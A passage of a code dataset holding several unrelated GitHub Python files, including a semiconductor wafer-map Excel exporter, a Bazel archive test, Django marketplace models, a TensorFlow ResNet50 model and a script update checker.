HBRcont['hbin_nam'].append('na')\r\n###\r\n### \r\n if line.startswith('PCR:'): \r\n PCRhead = re.search('HEAD_NUM=(\\d+)', line)\r\n if int(PCRhead.group(1)) == 255:\r\n PCRpart_cnt = re.search('PART_CNT=(\\d+)', line)\r\n PCRcont['part_cnt'] = int(PCRpart_cnt.group(1))\r\n PCRrtst_cnt = re.search('RTST_CNT=(\\d+)', line)\r\n PCRcont['rtst_cnt'] = int(PCRrtst_cnt.group(1))\r\n###\r\n### \r\nprint('PCR: HEAD_NUM=255', PCRcont)\r\nprint('HBR: HEAD_NUM=255', HBRcont)\r\nprint('OneWaferdict length', len(OneWaferdict['site_num']) )\r\nprint('OneWaferdict Xmax', max(OneWaferdict['x_coord']) , 'Xmin', min(OneWaferdict['x_coord']) )\r\nprint('OneWaferdict Ymax', max(OneWaferdict['y_coord']) , 'Ymin', min(OneWaferdict['y_coord']) )\r\nOneWaferXmax = max(OneWaferdict['x_coord'])\r\nOneWaferXmin = min(OneWaferdict['x_coord'])\r\nOneWaferYmax = max(OneWaferdict['y_coord'])\r\nOneWaferYmin = min(OneWaferdict['y_coord'])\r\n###\r\nHbincolor = []\r\nfor k in range(0, 40, 1):\r\n Hbincolor.append('na')\r\n\r\nHbincolor[0] = '00FFFFFF' \r\nHbincolor[1] = '0000FF00' \r\nHbincolor[2] = '0099CC00' \r\nHbincolor[3] = '00008000' \r\nHbincolor[4] = '00003300' \r\nHbincolor[6] = '00FF00FF' \r\nHbincolor[7] = '0000FFFF' \r\nHbincolor[10] = '000000FF' \r\nHbincolor[11] = '00FF0000' \r\nHbincolor[12] = '00FFFF00' \r\nHbincolor[13] = '00000080' \r\nHbincolor[15] = '00800000' \r\nHbincolor[17] = '00808000' \r\nHbincolor[18] = '00800080' \r\nHbincolor[19] = '00008080' \r\nHbincolor[20] = '009999FF' \r\nHbincolor[22] = '00993366' \r\nHbincolor[23] = '00FFFFCC' \r\nHbincolor[24] = '00CCFFFF' \r\nHbincolor[25] = '00660066' \r\nHbincolor[26] = '00FF8080' \r\nHbincolor[27] = '00C0C0C0' \r\nHbincolor[28] = '00808080' \r\nHbincolor[29] = '000066CC' \r\nHbincolor[30] = '00CCCCFF' \r\nHbincolor[31] = '00FFFF99' \r\nHbincolor[34] = '0099CCFF' \r\n###\r\n\r\n# only consider one head (HEAD_NUM=1) from STDF\r\nMapPosX = 'L' # can be toward 'R' (right) or 'L' (left)\r\nMapPosY = 'D' # can be toward 'U' (up) or 'D' (down)\r\ncolstart = 3\r\nrowstart = 3 \r\nsd = Side(style='medium', color=\"000000\")\r\nblackbd= Border(left=sd, top=sd, right=sd, bottom=sd)\r\n\r\n\r\nws2 = wb.create_sheet(title=\"FirstscreenedMap\")\r\nif PCRcont['rtst_cnt'] > 0:\r\n ws3 = wb.create_sheet(title=\"RetestedMap\")\r\nretest_count = 0\r\n \r\nif MapPosX == 'L':\r\n Xgapvalue = OneWaferXmax + colstart\r\n colindex = colstart\r\n for i in range(OneWaferXmax, (OneWaferXmin-1), -1):\r\n ws2.column_dimensions[get_column_letter(colindex)].width = 5.0\r\n ws2.cell( row=1, column=colindex, value=i ).border = blackbd\r\n if PCRcont['rtst_cnt'] > 0:\r\n ws3.column_dimensions[get_column_letter(colindex)].width = 5.0\r\n ws3.cell( row=1, column=colindex, value=i ).border = blackbd\r\n colindex += 1 \r\n\r\nif MapPosX == 'R':\r\n Xgapvalue = OneWaferXmin - colstart # to be checked\r\n colindex = colstart\r\n for i in range(OneWaferXmin, (OneWaferXmax+1), 1):\r\n ws2.column_dimensions[get_column_letter(colindex)].width = 5.0\r\n ws2.cell( row=1, column=colindex, value=i ).border = blackbd\r\n colindex += 1 \r\n \r\nif MapPosY == 'D':\r\n Ygapvalue = OneWaferYmin - rowstart\r\n rowindex = rowstart\r\n for i in range(OneWaferYmin, (OneWaferYmax+1), 1):\r\n ws2.column_dimensions['A'].width = 5.0\r\n ws2.cell( row=rowindex, column=1, value=i ).border = blackbd\r\n if PCRcont['rtst_cnt'] > 0:\r\n ws3.column_dimensions['A'].width = 5.0\r\n ws3.cell( row=rowindex, column=1, value=i ).border = blackbd\r\n rowindex += 1 \r\n\r\nif MapPosY == 'U':\r\n Ygapvalue = OneWaferYmax + rowstart # to be checked\r\n rowindex = rowstart\r\n for i in range(OneWaferYmax, (OneWaferYmin-1), -1):\r\n ws2.column_dimensions['A'].width = 5.0\r\n ws2.cell( row=rowindex, column=1, value=i ).border = blackbd\r\n rowindex += 1 \r\n\r\nfor j in range(0, (PCRcont['part_cnt']+PCRcont['rtst_cnt']), 1):\r\n if (MapPosX == 'L') and (MapPosY == 'D'):\r\n colnow = Xgapvalue - OneWaferdict['x_coord'][j]\r\n rownow = OneWaferdict['y_coord'][j] - Ygapvalue\r\n if j 0:\r\n ws3.cell( row=rownow, column=colnow, value=OneWaferdict['hard_bin'][j] ).border = blackbd\r\n elif j>=PCRcont['part_cnt']:\r\n ws3.cell( row=rownow, column=colnow, value=OneWaferdict['hard_bin'][j] ).border = blackbd\r\n \r\n if Hbincolor[ OneWaferdict['hard_bin'][j] ] != 'na':\r\n colorindex = Hbincolor[ OneWaferdict['hard_bin'][j] ]\r\n fillcolor = PatternFill(fill_type='solid', start_color=colorindex)\r\n if j 0:\r\n ws3.cell( row=rownow, column=colnow, value=OneWaferdict['hard_bin'][j] ).fill = fillcolor\r\n elif j>=PCRcont['part_cnt']:\r\n ws3.cell( row=rownow, column=colnow, value=OneWaferdict['hard_bin'][j] ).fill = fillcolor\r\n\r\n if j=PCRcont['part_cnt']: \r\n for m in range(0, PCRcont['part_cnt'], 1):\r\n if (OneWaferdict['x_coord'][j]==OneWaferdictRetest['x_coord'][m]) and (OneWaferdict['y_coord'][j]==OneWaferdictRetest['y_coord'][m]):\r\n OneWaferdictRetest['hard_bin'][m] = OneWaferdict['hard_bin'][j]\r\n OneWaferdictRetest['soft_bin'][m] = OneWaferdict['soft_bin'][j]\r\n retest_count += 1\r\n break ###\r\n \r\nif (MapPosX == 'L') and (MapPosY == 'D'):\r\n bincolnow = Xgapvalue - OneWaferXmin + 1\r\n binrownow = OneWaferYmin - Ygapvalue\r\n \r\n for i in range(0, len(HBRcont['hbin_num']), 1):\r\n Firstcont['hbin_qty'].append( OneWaferdictFirst['hard_bin'].count( HBRcont['hbin_num'][i] ) ) \r\n Firstcont['hbin_yield'].append( (OneWaferdictFirst['hard_bin'].count(HBRcont['hbin_num'][i])) / PCRcont['part_cnt'] ) \r\n colorindex = Hbincolor[ HBRcont['hbin_num'][i] ]\r\n fillcolor = PatternFill(fill_type='solid', start_color=colorindex)\r\n ws2.cell( row=binrownow, column=bincolnow, value=HBRcont['hbin_num'][i] ).fill = fillcolor\r\n ws2.cell( row=binrownow, column=bincolnow+1, value=HBRcont['hbin_nam'][i] )\r\n ws2.cell( row=binrownow, column=bincolnow+2, value=Firstcont['hbin_qty'][i] )\r\n ws2.cell( row=binrownow, column=bincolnow+3, value=Firstcont['hbin_yield'][i] )\r\n if PCRcont['rtst_cnt'] > 0:\r\n Retestcont['hbin_qty'].append( OneWaferdictRetest['hard_bin'].count( HBRcont['hbin_num'][i] ) ) \r\n Retestcont['hbin_yield'].append( (OneWaferdictRetest['hard_bin'].count(HBRcont['hbin_num'][i])) / PCRcont['part_cnt'] )\r\n ws3.cell( row=binrownow, column=bincolnow, value=HBRcont['hbin_num'][i] ).fill = fillcolor\r\n ws3.cell( row=binrownow, column=bincolnow+1, value=HBRcont['hbin_nam'][i] ) \r\n ws3.cell( row=binrownow, column=bincolnow+2, value=Retestcont['hbin_qty'][i] )\r\n ws3.cell( row=binrownow, column=bincolnow+3, value=Retestcont['hbin_yield'][i] )\r\n binrownow += 1 \r\n \r\n \r\nprint('retest_count=', retest_count)\r\nfrd.close()\r\nwb.save(XLSXfilename)\r\ntimerend = time.time()\r\nprint(\"It spent {}sec\".format(timerend-timerstart) )\r\n","repo_name":"cdhsu2001/STDFreadingutility","sub_path":"Mstdfxmltoxlsx2map.py","file_name":"Mstdfxmltoxlsx2map.py","file_ext":"py","file_size_in_byte":18153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"9181839164","text":"import unittest\n\nfrom bazel_tools.tools.python.runfiles import runfiles\nfrom pkg.private import archive\n\n\nclass SimpleArReaderTest(unittest.TestCase):\n \"\"\"Testing for SimpleArReader class.\"\"\"\n\n def setUp(self):\n super(SimpleArReaderTest, self).setUp()\n self.data_files = runfiles.Create()\n\n def assertArFileContent(self, arfile, content):\n \"\"\"Assert that arfile contains exactly the entry described by `content`.\n\n Args:\n arfile: the path to the AR file to test.\n content: an array describing the expected content of the AR file.\n Each entry in that list should be a dictionary where each field\n is a field to test in the corresponding SimpleArFileEntry. For\n testing the presence of a file \"x\", then the entry could simply\n be `{\"filename\": \"x\"}`, the missing field will be ignored.\n \"\"\"\n print(\"READING: %s\" % arfile)\n with archive.SimpleArReader(arfile) as f:\n current = f.next()\n i = 0\n while current:\n error_msg = \"Extraneous file at end of archive %s: %s\" % (\n arfile,\n current.filename\n )\n self.assertLess(i, len(content), error_msg)\n for k, v in content[i].items():\n value = getattr(current, k)\n error_msg = \" \".join([\n \"Value `%s` for key `%s` of file\" % (value, k),\n \"%s in archive %s does\" % (current.filename, arfile),\n \"not match expected value `%s`\" % v\n ])\n self.assertEqual(value, v, error_msg)\n current = f.next()\n i += 1\n if i < len(content):\n self.fail(\"Missing file %s in archive %s\" % (content[i], arfile))\n\n def testEmptyArFile(self):\n self.assertArFileContent(\n self.data_files.Rlocation(\"rules_pkg/tests/testdata/empty.ar\"),\n [])\n\n def assertSimpleFileContent(self, names):\n datafile = self.data_files.Rlocation(\n \"rules_pkg/tests/testdata/\" + \"_\".join(names) + \".ar\")\n # pylint: disable=g-complex-comprehension\n content = [{\"filename\": n,\n \"size\": len(n.encode(\"utf-8\")),\n \"data\": n.encode(\"utf-8\")}\n for n in names]\n self.assertArFileContent(datafile, content)\n\n def testAFile(self):\n self.assertSimpleFileContent([\"a\"])\n\n def testBFile(self):\n self.assertSimpleFileContent([\"b\"])\n\n def testABFile(self):\n self.assertSimpleFileContent([\"ab\"])\n\n def testA_BFile(self):\n self.assertSimpleFileContent([\"a\", \"b\"])\n\n def testA_ABFile(self):\n self.assertSimpleFileContent([\"a\", \"ab\"])\n\n def testA_B_ABFile(self):\n self.assertSimpleFileContent([\"a\", \"b\", \"ab\"])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"bazelbuild/rules_pkg","sub_path":"tests/archive_test.py","file_name":"archive_test.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"2"} +{"seq_id":"38829972833","text":"#!/usr/bin/env python\nimport matplotlib.pyplot as plt\nimport matplotlib.tri as tri\nfrom matplotlib.lines import Line2D\nfrom matplotlib.patches import Circle\nimport numpy as np\n\nfile_p = '../data/p_grob.dat'\np = np.loadtxt(file_p, 'double')\n\nfile_b = '../data/b_grob.dat'\nb = np.loadtxt(file_b, 'int')\n\nfile_t = '../data/t_grob.dat'\nt = np.loadtxt(file_t, 'int')\n\nfig = plt.figure()\n\nax = fig.add_subplot(111, aspect='equal')\n\n#circle1 = Circle( (0.8,1.7), radius=0.2, color='red' )\n#ax.add_patch(circle1)\n#circle2 = Circle( (1.9, 1.7), radius=0.2, color='red' )\n#ax.add_patch(circle2)\n#circle3 = Circle( (3.0, 1.7), radius=0.2, color='red' )\n#ax.add_patch(circle3)\n#circle4 = Circle( (4.1, 1.7), radius=0.2, color='red' )\n#ax.add_patch(circle4)\n\nx = p[:,0]\ny = p[:,1]\nplt.triplot(x, y, t-1, '-')\n\nfor i in b:\n\tx1 = p[i[0]-1, 0]\n\ty1 = p[i[0]-1, 1]\n\tx2 = p[i[1]-1, 0]\n\ty2 = p[i[1]-1, 1]\n\tif i[2] == 0:\n\t\tcol = 'black'\n\telif i[2] == 1:\n\t\tcol = 'green'\n\telif i[2] == 2:\n\t\tcol = 'blue'\n\tline = Line2D([x1, x2], [y1, y2], color=col, lw=4)\n\tax.add_line(line)\n\nax.set_xlim(-0.2,5.2)\nax.set_ylim(-0.1,2.1)\n\n#plt.savefig('Gitter_grob.pdf')\nplt.show()\n","repo_name":"goggle/projekt_numerik_hs2010","sub_path":"bin/plotGitter_grob.py","file_name":"plotGitter_grob.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"15911936887","text":"import argparse, os\nimport sys\nsys.path.append(os.path.abspath(os.path.join(__file__, '..', '..')))\n\nimport torch\nimport torch.nn as nn\nimport cv2\nimport numpy as np\nimport cvbase as cvb\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nfrom mmcv import ProgressBar\n\nimport utils.image as im\nfrom models import resnet_models\nfrom dataset import FlowInitial, FlowRefine\nfrom utils.io import load_ckpt\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n\n # training options\n parser.add_argument('--model_name', type=str, default=None)\n\n parser.add_argument('--batch_size', type=int, default=1)\n parser.add_argument('--n_threads', type=int, default=16)\n\n parser.add_argument('--get_mask', action='store_true')\n parser.add_argument('--output_root', type=str, default=None)\n\n parser.add_argument('--FIX_MASK', action='store_true')\n parser.add_argument('--DATA_ROOT', type=str,\n default=None)\n parser.add_argument('--GT_FLOW_ROOT', type=str,\n default=None)\n\n parser.add_argument('--MASK_MODE', type=str, default='bbox')\n parser.add_argument('--SAVE_FLOW', action='store_true')\n parser.add_argument('--MASK_ROOT', type=str, default=None)\n\n parser.add_argument('--IMAGE_SHAPE', type=int, default=[1024, 1024], nargs='+')\n parser.add_argument('--RES_SHAPE', type=int, default=[1024, 1024], nargs='+')\n parser.add_argument('--PRETRAINED', action='store_true')\n parser.add_argument('--ENLARGE_MASK', action='store_true')\n parser.add_argument('--PRETRAINED_MODEL', type=str, default=None)\n parser.add_argument('--INITIAL_HOLE', action='store_true')\n parser.add_argument('--EVAL_LIST', type=str, default=None)\n parser.add_argument('--PRINT_EVERY', type=int, default=10)\n\n parser.add_argument('--MASK_HEIGHT', type=int, default=120)\n parser.add_argument('--MASK_WIDTH', type=int, default=212)\n parser.add_argument('--VERTICAL_MARGIN', type=int, default=10)\n parser.add_argument('--HORIZONTAL_MARGIN', type=int, default=10)\n parser.add_argument('--MAX_DELTA_HEIGHT', type=int, default=30)\n parser.add_argument('--MAX_DELTA_WIDTH', type=int, default=53)\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n args = parse_args()\n\n if args.model_name == 'initial':\n test_initial_stage(args)\n elif args.model_name == 'refine':\n test_refine_stage(args)\n else:\n raise NotImplementedError('Please Choose correct testing mode')\n\n\ndef test_initial_stage(args):\n torch.manual_seed(777)\n torch.cuda.manual_seed(777)\n\n args.INITIAL_HOLE = True\n args.get_mask = True\n\n eval_dataset = FlowInitial.FlowSeq(args, isTest=True)\n eval_dataloader = DataLoader(eval_dataset,\n batch_size=args.batch_size,\n shuffle=False,\n drop_last=False,\n num_workers=args.n_threads)\n\n if args.ResNet101:\n dfc_resnet101 = resnet_models.Flow_Branch(33, 2)\n dfc_resnet = nn.DataParallel(dfc_resnet101).cuda()\n else:\n dfc_resnet50 = resnet_models.Flow_Branch_Multi(input_chanels=33, NoLabels=2)\n dfc_resnet = nn.DataParallel(dfc_resnet50).cuda()\n\n dfc_resnet.eval()\n resume_iter = load_ckpt(args.PRETRAINED_MODEL,\n [('model', dfc_resnet)], strict=True)\n print('Load Pretrained Model from', args.PRETRAINED_MODEL)\n\n task_bar = ProgressBar(eval_dataset.__len__())\n for i, item in enumerate(eval_dataloader):\n with torch.no_grad():\n input_x = item[0].cuda()\n flow_masked = item[1].cuda()\n mask = item[3].cuda()\n output_dir = item[4][0]\n\n res_flow = dfc_resnet(input_x)\n res_complete = res_flow * mask[:, 10:11, :, :] + flow_masked[:, 10:12, :, :] * (1. - mask[:, 10:11, :, :])\n\n output_dir_split = output_dir.split(',')\n output_file = os.path.join(args.output_root, output_dir_split[0])\n output_basedir = os.path.dirname(output_file)\n if not os.path.exists(output_basedir):\n os.makedirs(output_basedir)\n res_save = res_complete[0].permute(1, 2, 0).contiguous().cpu().data.numpy()\n cvb.write_flow(res_save, output_file)\n task_bar.update()\n sys.stdout.write('\\n')\n dfc_resnet = None\n torch.cuda.empty_cache()\n print('Initial Results Saved in', args.output_root)\n\n\ndef test_refine_stage(args):\n torch.manual_seed(777)\n torch.cuda.manual_seed(777)\n\n eval_dataset = FlowRefine.FlowSeq(args, isTest=True)\n eval_dataloader = DataLoader(eval_dataset,\n batch_size=args.batch_size,\n shuffle=False,\n drop_last=False,\n num_workers=args.n_threads)\n\n if args.ResNet101:\n dfc_resnet101 = resnet_models.Flow_Branch(66, 4)\n dfc_resnet = nn.DataParallel(dfc_resnet101).cuda()\n else:\n dfc_resnet50 = resnet_models.Flow_Branch_Multi(input_chanels=66, NoLabels=4)\n dfc_resnet = nn.DataParallel(dfc_resnet50).cuda()\n\n dfc_resnet.eval()\n\n resume_iter = load_ckpt(args.PRETRAINED_MODEL,\n [('model', dfc_resnet)], strict=True)\n\n print('Load Pretrained Model from', args.PRETRAINED_MODEL)\n\n task_bar = ProgressBar(eval_dataset.__len__())\n for i, item in enumerate(eval_dataloader):\n with torch.no_grad():\n input_x = item[0].cuda()\n flow_masked = item[1].cuda()\n gt_flow = item[2].cuda()\n mask = item[3].cuda()\n output_dir = item[4][0]\n\n res_flow = dfc_resnet(input_x)\n\n res_flow_f = res_flow[:, :2, :, :]\n res_flow_r = res_flow[:, 2:, :, :]\n\n res_complete_f = res_flow_f * mask[:, 10:11, :, :] + flow_masked[:, 10:12, :, :] * (1. - mask[:, 10:11, :, :])\n res_complete_r = res_flow_r * mask[:,32:34,:,:] + flow_masked[:,32:34,:,:] * (1. - mask[:,32:34,:,:])\n\n output_dir_split = output_dir.split(',')\n\n output_file_f = os.path.join(args.output_root, output_dir_split[0])\n output_file_r = os.path.join(args.output_root, output_dir_split[1])\n output_basedir = os.path.dirname(output_file_f)\n if not os.path.exists(output_basedir):\n os.makedirs(output_basedir)\n\n res_save_f = res_complete_f[0].permute(1, 2, 0).contiguous().cpu().data.numpy()\n cvb.write_flow(res_save_f, output_file_f)\n res_save_r = res_complete_r[0].permute(1, 2, 0).contiguous().cpu().data.numpy()\n cvb.write_flow(res_save_r, output_file_r)\n task_bar.update()\n sys.stdout.write('\\n')\n dfc_resnet = None\n torch.cuda.empty_cache()\n print('Refined Results Saved in', args.output_root)\n\n\nif __name__ == '__main__':\n main()","repo_name":"nbei/Deep-Flow-Guided-Video-Inpainting","sub_path":"tools/test_scripts.py","file_name":"test_scripts.py","file_ext":"py","file_size_in_byte":6967,"program_lang":"python","lang":"en","doc_type":"code","stars":2265,"dataset":"github-code","pt":"2"} +{"seq_id":"5061213852","text":"import datetime\nfrom django.utils.timezone import localtime\n\nfrom rest_framework import serializers\n\nfrom apps.schedules.models import Schedule\nfrom api.celebritys.serializers import CelebritySerializer\n\n\nclass ScheduleSerializer(serializers.ModelSerializer):\n # 스케줄 직렬화\n start = serializers.SerializerMethodField()\n content = serializers.SerializerMethodField()\n celeb = CelebritySerializer(many=True, read_only=True, source='celebrity')\n schedule_type = serializers.SerializerMethodField()\n is_notification = serializers.SerializerMethodField()\n\n class Meta:\n model = Schedule\n fields = (\n 'id',\n 'start',\n 'content',\n 'celeb',\n 'schedule_type',\n 'is_notification',\n 'url',\n )\n\n def get_start(self, obj):\n local = localtime(obj.schedule)\n return datetime.datetime.strftime(local, '%Y-%m-%d %H:%M')\n\n def get_content(self, obj):\n return obj.title\n\n def get_schedule_type(self, obj):\n schedule_type = obj.schedulecategory_set.all()\n if not schedule_type.exists():\n return None\n return schedule_type.first().first_category\n\n def get_is_notification(self, obj):\n return False","repo_name":"springkjw/celuv-django","sub_path":"api/schedules/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"18480900334","text":"\r\n# Source Code: https://github.com/calmisential/TensorFlow2.0_ResNet\r\n# Source Code: https://github.com/PeterWang512/CNNDetection\r\n# Reference Paper: https://arxiv.org/abs/1512.03385\r\n\r\nimport tensorflow as tf\r\nfrom tf.keras import layers\r\n\r\n\r\nclass BottleNeck(layers.Layer):\r\n\r\n def __init__(self, filter_num, stride = 1):\r\n\r\n super(BottleNeck, self).__init__()\r\n\r\n self.conv1 = layers.Conv2D(filters = filter_num, kernel_size = (1,1), strides = 1, padding = 'same')\r\n self.bn1 = layers.BatchNormalization()\r\n self.conv2 = layers.Conv2D(filters = filter_num, kernel_size = (3,3), strides = stride, padding = 'same')\r\n self.bn2 = layers.BatchNormalization()\r\n self.conv3 = layers.Conv2D(filters = filter_num * 4, kernel_size = (1,1), strides = 1, padding = 'same')\r\n self.bn3 = layers.BatchNormalization()\r\n\r\n self.downsample = tf.keras.Sequential() \r\n self.downsample.add(layers.Conv2D(filters = filter_num * 4, kernel_size = (1,1), strides = stride))\r\n self.downsample.add(layers.BatchNormalization())\r\n\r\n\r\n def call(self, inputs, training = None, **kwargs):\r\n\r\n residual = self.downsample(inputs) # should be same size as the network output to be added together.\r\n\r\n x = self.conv1(inputs) # 1x1 Convolution: reducing dimension. \r\n x = self.bn1(x, training = training) \r\n x = tf.nn.relu(x) \r\n\r\n x = self.conv2(x) # 3x3 Convolution: smaller input/output dimension.\r\n x = self.bn2(x, training = training) \r\n x = tf.nn.relu(x) \r\n\r\n x = self.conv3(x) # 1x1 Convolution: increasing dimension.\r\n x = self.bn3(x, training = training) \r\n\r\n x = layers.add([residual, x]) # should be same size as the network output to be added together.\r\n output = tf.nn.relu(x) \r\n\r\n return output\r\n\r\n\r\ndef bottleneck_layer(filter_num, blocks, stride = 1):\r\n\r\n resnet_block = tf.keras.Sequential()\r\n resnet_block.add(BottleNeck(filter_num, stride = stride)) # change dimension here!\r\n\r\n for _ in range(1, blocks):\r\n resnet_block.add(BottleNeck(filter_num, stride = 1)) # dimension stay the same.\r\n\r\n return resnet_block\r\n\r\n\r\nclass ResNet50(tf.keras.Model):\r\n\r\n def __init__(self, parameters):\r\n\r\n super(ResNet50, self).__init__()\r\n\r\n self.conv1 = layers.Conv2D(filters = 64, kernel_size = (7,7), strides = 2, padding = \"same\")\r\n self.bn1 = layers.BatchNormalization()\r\n self.maxpool1 = layers.MaxPool2D(pool_size = (3,3), strides = 2, padding = \"same\")\r\n\r\n self.layer1 = bottleneck_layer(filter_num = 64, blocks = parameters[0])\r\n self.layer2 = bottleneck_layer(filter_num = 128, blocks = parameters[1], stride = 2)\r\n self.layer3 = bottleneck_layer(filter_num = 256, blocks = parameters[2], stride = 2)\r\n self.layer4 = bottleneck_layer(filter_num = 512, blocks = parameters[3], stride = 2)\r\n\r\n self.avgpool = layers.GlobalAveragePooling2D()\r\n self.fc = layers.Dense(units = 1, activation = tf.keras.activations.softmax) # real or fake\r\n\r\n\r\n def call(self, inputs, training = None, mask= None):\r\n\r\n x = self.conv1(inputs) # input layers\r\n x = self.bn1(x, training = training)\r\n x = tf.nn.relu(x)\r\n x = self.maxpool1(x)\r\n\r\n x = self.layer1(x, training = training) # middle layers\r\n x = self.layer2(x, training = training)\r\n x = self.layer3(x, training = training)\r\n x = self.layer4(x, training = training)\r\n\r\n x = self.avgpool(x) # output layers \r\n output = self.fc(x)\r\n\r\n return output\r\n\r\n\r\ndef resnet50():\r\n\r\n model = ResNet50(parameters = [3, 4, 6, 3]) \r\n return model\r\n","repo_name":"zl3006/ecbm4040_final_project","sub_path":"resnet50.py","file_name":"resnet50.py","file_ext":"py","file_size_in_byte":3915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"26872304047","text":"from django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.contrib.contenttypes.models import ContentType\n\n\nclass BaseModel(models.Model):\n user = models.OneToOneField(\n User,\n on_delete=models.CASCADE,\n )\n\n def __str__(self):\n return self.user.username\n\n class Meta:\n ordering = ('-pk',)\n abstract = True\n\n\nclass Seller(BaseModel):\n class Meta:\n verbose_name = 'Продавец'\n verbose_name_plural = 'Продавцы'\n\n def save(self, *args, **kwargs):\n if Customer.objects.filter(user=self.user).exists():\n raise ValidationError('Пользователь является покупателем')\n return super().save()\n\n\nclass Customer(BaseModel):\n class Meta:\n verbose_name = 'Покупатель'\n verbose_name_plural = 'Покупатели'\n\n def save(self, *args, **kwargs):\n if Seller.objects.filter(user=self.user).exists():\n raise ValidationError('Пользователь является продавцом')\n return super().save()\n\n\nclass Ad(models.Model):\n SHADES = (\n (\n 'Green', (\n ('light-green', 'light-green'),\n ('dark-green', 'dark-green'),\n )\n ),\n (\n 'Yellow', (\n ('light-yellow', 'light-yellow'),\n ('dark-yellow', 'dark-yellow'),\n )\n ),\n )\n flower = models.CharField(max_length=50, verbose_name='Вид цветка')\n shade = models.CharField(\n max_length=50, choices=SHADES,\n blank=True, verbose_name='Оттенок',\n )\n price = models.PositiveIntegerField(default=0, verbose_name='Цена', )\n amount = models.PositiveIntegerField(default=0, verbose_name='Количество', )\n seller = models.ForeignKey(\n Seller, on_delete=models.CASCADE,\n related_name='ads', verbose_name='Продавец'\n )\n visibility = models.BooleanField(default=True, verbose_name='Видимость')\n\n def __str__(self):\n return self.flower\n\n class Meta:\n ordering = ('-pk',)\n verbose_name = 'Лот'\n verbose_name_plural = 'Лоты'\n\n\nclass ManagerHidden(models.Manager):\n\n def get_queryset(self):\n return super().get_queryset().filter(visibility=False)\n\n\nclass HiddenAds(Ad):\n objects = ManagerHidden()\n\n class Meta:\n proxy = True\n verbose_name = 'Скрытое объявление'\n verbose_name_plural = 'Скрытые объявления'\n\n\nclass Feedback(models.Model):\n title = models.CharField(max_length=50, blank=True, verbose_name='Тема отзыва', )\n text = models.TextField(verbose_name='Текст отзыва')\n content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE)\n object_id = models.PositiveIntegerField()\n content_object = GenericForeignKey('content_type', 'object_id')\n author = models.ForeignKey(\n Customer, on_delete=models.CASCADE,\n related_name='feedbacks', verbose_name='Автор'\n )\n\n def __str__(self):\n return self.title\n\n class Meta:\n ordering = ('-pk',)\n verbose_name = 'Отзыв'\n verbose_name_plural = 'Отзывы'\n\n\nclass Purchase(models.Model):\n ad = models.ForeignKey(\n Ad, on_delete=models.CASCADE,\n related_name='ads', verbose_name='Лот'\n )\n customer = models.ForeignKey(\n Customer, on_delete=models.CASCADE,\n related_name='customers', verbose_name='Покупатель'\n )\n amount = models.PositiveIntegerField(default=1, verbose_name='Количество', )\n\n class Meta:\n ordering = ('-pk',)\n verbose_name = 'Сделка'\n verbose_name_plural = 'Сделки'\n","repo_name":"DalaevBC/flowers_test","sub_path":"flowers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"42339457122","text":"\"\"\"\nupdate_check.py\n\nThis module basically checks for script updates and returns true if they are available.\n\nAuthor: Miguel Guthridge [hdsq@outlook.com.au]\n\"\"\"\n\nimport json\nimport urllib.request\n\nfrom . import consts\nimport internal\n\n\n\ndef check():\n \"\"\"Checks for an update to the script using the GitHub API\n\n Returns:\n bool: need_update_flag\n Indicates whether an update to the script is available\n \"\"\"\n\n need_update_flag = False\n try:\n with urllib.request.urlopen(consts.UPDATE_JSON_URL) as url:\n data = json.loads(url.read().decode())\n except:\n return False\n \n latest_ver = data[0][\"name\"].split(\".\")\n\n latest_maj = int(latest_ver[0][1:])\n latest_min = int(latest_ver[1])\n latest_rev = int(latest_ver[2].split(\"-\")[0])\n\n if latest_maj > consts.SCRIPT_VERSION_MAJOR:\n need_update_flag = True\n elif latest_min > consts.SCRIPT_VERSION_MINOR:\n need_update_flag = True\n elif latest_rev > consts.SCRIPT_VERSION_REVISION:\n need_update_flag = True\n \n return need_update_flag\n\n\n","repo_name":"MiguelGuthridge/Novation-LaunchKey-Mk2-Script","sub_path":"internal/updatecheck.py","file_name":"updatecheck.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"2"} +{"seq_id":"1894091334","text":"insulin={\n \"Insulin1\":5,\n \"Insulin2\":7,\n \"Insulin3\":11\n}\n\n# print(insulin[\"Insulin3\"])\n\n\nthekeys=list(insulin.keys())\n\n\nsum=0\nfor i in thekeys:\n sum += insulin[i]\n\n\nprint(sum)\n\n# print(thekeys)\n# print(type(thekeys))\n","repo_name":"Shahi55Simple/aws","sub_path":"insulinweight.py","file_name":"insulinweight.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10094967817","text":"#!/usr/bin/env python3\n\nimport copy\n\ndef c2n(c):\n if(c == \"=\"):\n return -2\n elif(c == \"-\"):\n return -1\n else:\n return int(c)\n\ndef Convert_to_Decimal(line):\n snafu = list(line)\n num = 0\n while(len(snafu) > 0):\n char = snafu.pop(0)\n num += c2n(char) * 5**(len(snafu))\n return num\n\ndef lm(p):\n tot = 0\n for i in range(p+1):\n tot += 2 * (5**i)\n return tot\n\ndef Convert_to_Snafu(total):\n maxp = 0\n snafu = \"\"\n\n # find highest power\n while(total / (5**maxp) > 1):\n maxp+=1\n\n lower_max = lm(maxp-1)\n if(total < lower_max):\n maxp -= 1\n\n print('p',maxp)\n\n p = 